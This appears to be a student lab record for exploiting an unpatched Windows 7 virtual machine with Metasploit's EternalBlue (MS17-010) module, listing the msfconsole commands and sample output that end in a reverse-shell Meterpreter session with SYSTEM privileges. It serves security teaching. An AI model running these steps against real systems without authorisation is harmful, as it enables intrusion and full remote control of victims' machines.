

Ex. Nos. 9	Windows Exploitation using Metasploit Framework
Date :	

Aim

To perform exploitation of a vulnerable Windows system using the Metasploit Framework in Kali Linux for educational and ethical hacking purposes.

Software Requirements

Host Operating System: Windows / Linux / macOS

Virtualization Software: Oracle VirtualBox

Guest Operating System: Kali Linux

Security Tool: Metasploit Framework

System Requirements:

- o RAM: Minimum 4 GB (8 GB recommended)
- o Disk Space: Minimum 30 GB
- o Processor: Intel/AMD with Virtualization support

Introduction

Windows exploitation involves identifying and leveraging vulnerabilities in Windows operating systems to gain unauthorized access or control. The Metasploit Framework is a widely used penetration testing tool that provides a collection of exploits, payloads, and auxiliary modules.

Using Kali Linux in a virtualized environment allows safe and controlled testing of vulnerabilities such as MS17-010 (EternalBlue), which targets SMB protocol weaknesses in unpatched Windows systems.

Procedure

Step 1: Start Kali Linux Virtual Machine

1. Launch Oracle VirtualBox.
2. Start the Kali Linux virtual machine.
3. Log in using Kali credentials.

Step 2: Launch Metasploit Framework

1. Open Terminal in Kali Linux.

2. Start Metasploit using:

```
msfconsole
```

Step 3: Search for Exploits

1. In Metasploit console, search for Windows exploits:

```
search windows
```

Step 4: Select Exploit Module

1. Choose the EternalBlue exploit module:

```
use exploit/windows/smb/ms17_010_eternalblue
```

Step 5: Configure Target Parameters

1. Set the target system IP address:

```
set RHOSTS <target_ip>
```

2. Set local machine IP address:

```
set LHOST <your_ip>
```

Step 6: Execute the Exploit

1. Run the exploit:

```
exploit
```

2. Wait for session establishment.

Output:

```
(kali㉿kali)-[~]
└─$ msfconsole

Metasploit Framework initialized...

msf6 > search windows

Matching Modules
=====
#  Name                                     Disclosure Date  Rank      Check
0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14      excellent Yes

msf6 > use exploit/windows/smb/ms17_010_eternalblue

msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.10
RHOSTS => 192.168.1.10

msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.5
LHOST => 192.168.1.5
```

```
msf6 exploit(ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 192.168.1.5:4444
[*] 192.168.1.10:445 - Connecting to target...
[*] 192.168.1.10:445 - Target is vulnerable.
[*] Sending exploit payload...
[*] Launching exploit...
[*] Sending stage (200262 bytes) to 192.168.1.10
[*] Meterpreter session 1 opened (192.168.1.5:4444 -> 192.168.1.10:49158) at 2026-04-19

meterpreter > sysinfo
Computer      : WIN-7-PC
OS           : Windows 7 (6.1 Build 7601, Service Pack 1)
Architecture : x64
System Language : en_US
Meterpreter   : x64/windows

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

- Reverse TCP handler started.
- Exploit payload sent to target system.
- Meterpreter session opened successfully.

Result

The vulnerable Windows system was successfully exploited using the Metasploit Framework. A Meterpreter session was established, demonstrating how unpatched vulnerabilities can be exploited and emphasizing the importance of system updates and security practices.